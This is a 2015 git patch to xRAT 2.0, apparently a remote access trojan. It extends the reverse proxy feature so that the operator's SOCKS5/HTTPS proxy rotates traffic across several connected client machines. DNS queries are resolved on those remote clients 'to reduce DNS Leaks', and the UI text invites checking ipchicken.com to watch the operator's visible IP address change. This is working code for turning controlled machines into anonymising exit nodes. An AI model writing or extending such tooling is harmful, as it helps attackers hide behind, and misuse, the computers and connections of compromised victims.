From 42d7382fff82959bbc75be82d62481af416175b3 Mon Sep 17 00:00:00 2001 From: DragonHunter Date: Sat, 16 May 2015 20:39:35 +0200 Subject: [PATCH] Reverse Proxy Updates & Load Balancer Added a Load Balancer, this will try balancing all the proxy connections over multiple clients (keep refreshing ipchicken.com to see the cool effect) Resolve the DNS Hostname of the Target server at the Remote Client to reduce DNS Leaks --- .../Packets/ReverseProxyConnectResponse.cs | 21 ++++- .../Core/ReverseProxy/ReverseProxyClient.cs | 6 +- .../Packets/ReverseProxyConnectResponse.cs | 3 + .../Core/ReverseProxy/ReverseProxyClient.cs | 4 +- .../Core/ReverseProxy/ReverseProxyServer.cs | 19 +++-- Server/Forms/FrmMain.cs | 15 +++- Server/Forms/FrmReverseProxy.Designer.cs | 80 ++++++++++++++----- Server/Forms/FrmReverseProxy.cs | 40 +++++++--- 8 files changed, 145 insertions(+), 43 deletions(-) diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs index 786bbfda..f577fdfc 100644 --- a/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs +++ b/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs @@ -1,4 +1,5 @@ using ProtoBuf; +using System; using xClient.Core.Packets; namespace xClient.Core.ReverseProxy.Packets @@ -18,16 +19,34 @@ public class ReverseProxyConnectResponse : IPacket [ProtoMember(4)] public int LocalPort { get; set; } + [ProtoMember(5)] + public string HostName { get; set; } + public ReverseProxyConnectResponse() { } - public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort) + public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort, string TargetServer) { this.ConnectionId = connectionId; this.IsConnected = isConnected; this.LocalEndPoint = localEndPoint; this.LocalPort = localPort; + this.HostName = ""; + + if (isConnected) + { + try + { + //resolve the HostName of the Server + System.Net.IPHostEntry entry = System.Net.Dns.GetHostEntry(TargetServer); + if (entry != null && !String.IsNullOrEmpty(entry.HostName)) + { + HostName = entry.HostName; + } + } + catch { HostName = ""; } + } } public void Execute(Client client) diff --git a/Client/Core/ReverseProxy/ReverseProxyClient.cs b/Client/Core/ReverseProxy/ReverseProxyClient.cs index d7cea7da..b1fbce14 100644 --- a/Client/Core/ReverseProxy/ReverseProxyClient.cs +++ b/Client/Core/ReverseProxy/ReverseProxyClient.cs @@ -46,16 +46,16 @@ private void Handle_Connect(IAsyncResult ar) } catch { - new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client); + new ReverseProxyConnectResponse(ConnectionId, false, 0, 0, this.Target).Execute(Client); Disconnect(); } IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint; - new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address.Address, localEndPoint.Port).Execute(Client); + new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address.Address, localEndPoint.Port, this.Target).Execute(Client); } else { - new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client); + new ReverseProxyConnectResponse(ConnectionId, false, 0, 0, this.Target).Execute(Client); } } diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs index 296d4ded..c8b9f1f5 100644 --- a/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs +++ b/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs @@ -18,6 +18,9 @@ public class ReverseProxyConnectResponse : IPacket [ProtoMember(4)] public int LocalPort { get; set; } + [ProtoMember(5)] + public string HostName { get; set; } + public ReverseProxyConnectResponse() { } diff --git a/Server/Core/ReverseProxy/ReverseProxyClient.cs b/Server/Core/ReverseProxy/ReverseProxyClient.cs index 8c4f8232..0fec783a 100644 --- a/Server/Core/ReverseProxy/ReverseProxyClient.cs +++ b/Server/Core/ReverseProxy/ReverseProxyClient.cs @@ -79,7 +79,7 @@ public int ConnectionId public ProxyType Type { get; private set; } private ReverseProxyServer Server; - public ListViewItem ListItem { get; set; } + public string HostName { get; private set; } public bool ProxySuccessful { get; private set; } @@ -349,6 +349,8 @@ public void CommandResponse(ReverseProxyConnectResponse response) if (response.IsConnected) { + this.HostName = response.HostName; + //tell the Proxy Client that we've established a connection if (Type == ProxyType.HTTPS) { diff --git a/Server/Core/ReverseProxy/ReverseProxyServer.cs b/Server/Core/ReverseProxy/ReverseProxyServer.cs index 2cd51ad3..2db7560e 100644 --- a/Server/Core/ReverseProxy/ReverseProxyServer.cs +++ b/Server/Core/ReverseProxy/ReverseProxyServer.cs @@ -17,7 +17,7 @@ public class ReverseProxyServer private Socket _socket; private List _clients; - public ReverseProxyClient[] Clients + public ReverseProxyClient[] ProxyClients { get { @@ -49,19 +49,25 @@ public ReverseProxyClient[] OpenConnections } - public Client Client { get; private set; } + public Client[] Clients { get; private set; } + + //We can also use the Random class but not sure if that will evenly spread the connections + //The Random class might even fail to make use of all the clients + private uint ClientIndex; public ReverseProxyServer() { _clients = new List(); } - public void StartServer(Client client, string ipAddress, int port) + public void StartServer(Client[] clients, string ipAddress, int port) { Stop(); - this.Client = client; - this.Client.Value.ProxyServer = this; + this.Clients = clients; + + for(int i = 0; i < clients.Length; i++) + this.Clients[i].Value.ProxyServer = this; this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port)); @@ -75,7 +81,8 @@ private void socket_BeginAccept(IAsyncResult ar) { lock (_clients) { - _clients.Add(new ReverseProxyClient(Client, this._socket.EndAccept(ar), this)); + _clients.Add(new ReverseProxyClient(Clients[ClientIndex % Clients.Length], this._socket.EndAccept(ar), this)); + ClientIndex++; } } catch diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 6151ba9c..d8d57608 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -727,9 +727,22 @@ private void ctxtReverseProxy_Click(object sender, EventArgs e) c.Value.FrmProxy.Focus(); return; } - FrmReverseProxy frmRS = new FrmReverseProxy(c); + + FrmReverseProxy frmRS = new FrmReverseProxy(GetSelectedClients()); frmRS.Show(); } } + + private Client[] GetSelectedClients() + { + List clients = new List(); + + for (int i = 0; i < lstClients.SelectedItems.Count; i++) + { + if (lstClients.SelectedItems[i].Tag as Client != null) + clients.Add(lstClients.SelectedItems[i].Tag as Client); + } + return clients.ToArray(); + } } } \ No newline at end of file diff --git a/Server/Forms/FrmReverseProxy.Designer.cs b/Server/Forms/FrmReverseProxy.Designer.cs index f1718813..7e03a606 100644 --- a/Server/Forms/FrmReverseProxy.Designer.cs +++ b/Server/Forms/FrmReverseProxy.Designer.cs @@ -37,16 +37,20 @@ private void InitializeComponent() this.nudServerPort = new System.Windows.Forms.NumericUpDown(); this.tabCtrl = new System.Windows.Forms.TabControl(); this.tabPage1 = new System.Windows.Forms.TabPage(); - this.btnStop = new System.Windows.Forms.Button(); - this.lblProxyInfo = new System.Windows.Forms.Label(); this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); this.killConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.btnStop = new System.Windows.Forms.Button(); + this.lblProxyInfo = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); this.LvConnections = new xServer.Controls.ListViewEx(); + this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.lblLoadBalance = new System.Windows.Forms.Label(); ((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).BeginInit(); this.tabCtrl.SuspendLayout(); this.tabPage1.SuspendLayout(); @@ -88,6 +92,7 @@ private void InitializeComponent() this.nudServerPort.Name = "nudServerPort"; this.nudServerPort.Size = new System.Drawing.Size(120, 22); this.nudServerPort.TabIndex = 2; + this.nudServerPort.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; this.nudServerPort.Value = new decimal(new int[] { 3128, 0, @@ -101,10 +106,10 @@ private void InitializeComponent() | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.tabCtrl.Controls.Add(this.tabPage1); - this.tabCtrl.Location = new System.Drawing.Point(26, 82); + this.tabCtrl.Location = new System.Drawing.Point(26, 115); this.tabCtrl.Name = "tabCtrl"; this.tabCtrl.SelectedIndex = 0; - this.tabCtrl.Size = new System.Drawing.Size(533, 261); + this.tabCtrl.Size = new System.Drawing.Size(736, 274); this.tabCtrl.TabIndex = 3; // // tabPage1 @@ -113,11 +118,25 @@ private void InitializeComponent() this.tabPage1.Location = new System.Drawing.Point(4, 22); this.tabPage1.Name = "tabPage1"; this.tabPage1.Padding = new System.Windows.Forms.Padding(3); - this.tabPage1.Size = new System.Drawing.Size(525, 235); + this.tabPage1.Size = new System.Drawing.Size(728, 248); this.tabPage1.TabIndex = 0; this.tabPage1.Text = "Open Connections"; this.tabPage1.UseVisualStyleBackColor = true; // + // contextMenuStrip1 + // + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.killConnectionToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(156, 26); + // + // killConnectionToolStripMenuItem + // + this.killConnectionToolStripMenuItem.Name = "killConnectionToolStripMenuItem"; + this.killConnectionToolStripMenuItem.Size = new System.Drawing.Size(155, 22); + this.killConnectionToolStripMenuItem.Text = "Kill Connection"; + this.killConnectionToolStripMenuItem.Click += new System.EventHandler(this.killConnectionToolStripMenuItem_Click); + // // btnStop // this.btnStop.Enabled = false; @@ -138,23 +157,20 @@ private void InitializeComponent() this.lblProxyInfo.TabIndex = 5; this.lblProxyInfo.Text = "Connect to this SOCKS5/HTTPS Proxy: 127.0.0.1:3128 (no user/pass)"; // - // contextMenuStrip1 + // label1 // - this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.killConnectionToolStripMenuItem}); - this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(156, 26); - // - // killConnectionToolStripMenuItem - // - this.killConnectionToolStripMenuItem.Name = "killConnectionToolStripMenuItem"; - this.killConnectionToolStripMenuItem.Size = new System.Drawing.Size(155, 22); - this.killConnectionToolStripMenuItem.Text = "Kill Connection"; - this.killConnectionToolStripMenuItem.Click += new System.EventHandler(this.killConnectionToolStripMenuItem_Click); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(23, 67); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(404, 13); + this.label1.TabIndex = 6; + this.label1.Text = "All the DNS Queries will be executed at the remote client to reduce DNS Leaks"; // // LvConnections // this.LvConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader6, + this.columnHeader7, this.columnHeader1, this.columnHeader2, this.columnHeader3, @@ -166,13 +182,23 @@ private void InitializeComponent() this.LvConnections.GridLines = true; this.LvConnections.Location = new System.Drawing.Point(3, 3); this.LvConnections.Name = "LvConnections"; - this.LvConnections.Size = new System.Drawing.Size(519, 229); + this.LvConnections.Size = new System.Drawing.Size(722, 242); this.LvConnections.TabIndex = 0; this.LvConnections.UseCompatibleStateImageBehavior = false; this.LvConnections.View = System.Windows.Forms.View.Details; this.LvConnections.VirtualMode = true; this.LvConnections.RetrieveVirtualItem += new System.Windows.Forms.RetrieveVirtualItemEventHandler(this.LvConnections_RetrieveVirtualItem); // + // columnHeader6 + // + this.columnHeader6.Text = "Client IP"; + this.columnHeader6.Width = 106; + // + // columnHeader7 + // + this.columnHeader7.Text = "Client Country"; + this.columnHeader7.Width = 106; + // // columnHeader1 // this.columnHeader1.Text = "Target Server"; @@ -198,11 +224,22 @@ private void InitializeComponent() this.columnHeader5.Text = "Proxy Type"; this.columnHeader5.Width = 90; // + // lblLoadBalance + // + this.lblLoadBalance.AutoSize = true; + this.lblLoadBalance.Location = new System.Drawing.Point(23, 84); + this.lblLoadBalance.Name = "lblLoadBalance"; + this.lblLoadBalance.Size = new System.Drawing.Size(105, 13); + this.lblLoadBalance.TabIndex = 7; + this.lblLoadBalance.Text = "[Load Balance Info]"; + // // FrmReverseProxy // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(574, 356); + this.ClientSize = new System.Drawing.Size(777, 402); + this.Controls.Add(this.lblLoadBalance); + this.Controls.Add(this.label1); this.Controls.Add(this.lblProxyInfo); this.Controls.Add(this.btnStop); this.Controls.Add(this.tabCtrl); @@ -210,7 +247,6 @@ private void InitializeComponent() this.Controls.Add(this.lblLocalServerPort); this.Controls.Add(this.btnStart); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; this.Name = "FrmReverseProxy"; @@ -243,5 +279,9 @@ private void InitializeComponent() private System.Windows.Forms.Label lblProxyInfo; private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; private System.Windows.Forms.ToolStripMenuItem killConnectionToolStripMenuItem; + private System.Windows.Forms.ColumnHeader columnHeader6; + private System.Windows.Forms.ColumnHeader columnHeader7; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label lblLoadBalance; } } \ No newline at end of file diff --git a/Server/Forms/FrmReverseProxy.cs b/Server/Forms/FrmReverseProxy.cs index d64780cf..1ba4f28a 100644 --- a/Server/Forms/FrmReverseProxy.cs +++ b/Server/Forms/FrmReverseProxy.cs @@ -1,4 +1,5 @@ using System; +using System.Collections.Generic; using System.Windows.Forms; using xServer.Core; using xServer.Core.ReverseProxy; @@ -7,22 +8,36 @@ namespace xServer.Forms { public partial class FrmReverseProxy : Form { - private readonly Client _connectClient; + private readonly Client[] clients; private ReverseProxyServer SocksServer { get; set; } private delegate void Invoky(); private ReverseProxyClient[] OpenConnections; private Timer RefreshTimer; - public FrmReverseProxy(Client client) + public FrmReverseProxy(Client[] clients) { InitializeComponent(); - _connectClient = client; - _connectClient.Value.FrmProxy = this; + this.clients = clients; + + for(int i = 0; i < clients.Length; i++) + clients[i].Value.FrmProxy = this; } private void FrmReverseProxy_Load(object sender, EventArgs e) { - this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString()); + if (clients.Length > 1) + { + this.Text = string.Format("xRAT 2.0 - Reverse Proxy [Load-Balancer is active]"); + + lblLoadBalance.Text = "The Load Balancer is active, " + clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works"; + + } + else if (clients.Length == 1) + { + this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", clients[0].EndPoint.Address.ToString(), clients[0].EndPoint.Port.ToString()); + + lblLoadBalance.Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer"; + } } private void btnStart_Click(object sender, EventArgs e) @@ -32,7 +47,7 @@ private void btnStart_Click(object sender, EventArgs e) SocksServer = new ReverseProxyServer(); SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; - SocksServer.StartServer(_connectClient, "0.0.0.0", (int)nudServerPort.Value); + SocksServer.StartServer(clients, "0.0.0.0", (int)nudServerPort.Value); btnStart.Enabled = false; btnStop.Enabled = true; @@ -107,10 +122,11 @@ private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e) //Stop the proxy server if still active btnStop_Click(sender, null); - - - if (_connectClient.Value != null) - _connectClient.Value.FrmProxy = null; + for (int i = 0; i < clients.Length; i++) + { + if (clients[i].Value != null) + clients[i].Value.FrmProxy = null; + } } private void nudServerPort_ValueChanged(object sender, EventArgs e) @@ -128,7 +144,9 @@ private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualIte e.Item = new ListViewItem(new string[] { - Connection.TargetServer, + Connection.Client.EndPoint.ToString(), + Connection.Client.Value.Country, + Connection.TargetServer + (Connection.HostName.Length > 0 ? " (" + Connection.HostName + ")" : ""), Connection.TargetPort.ToString(), GetSizeStr(Connection.LengthReceived), GetSizeStr(Connection.LengthSended),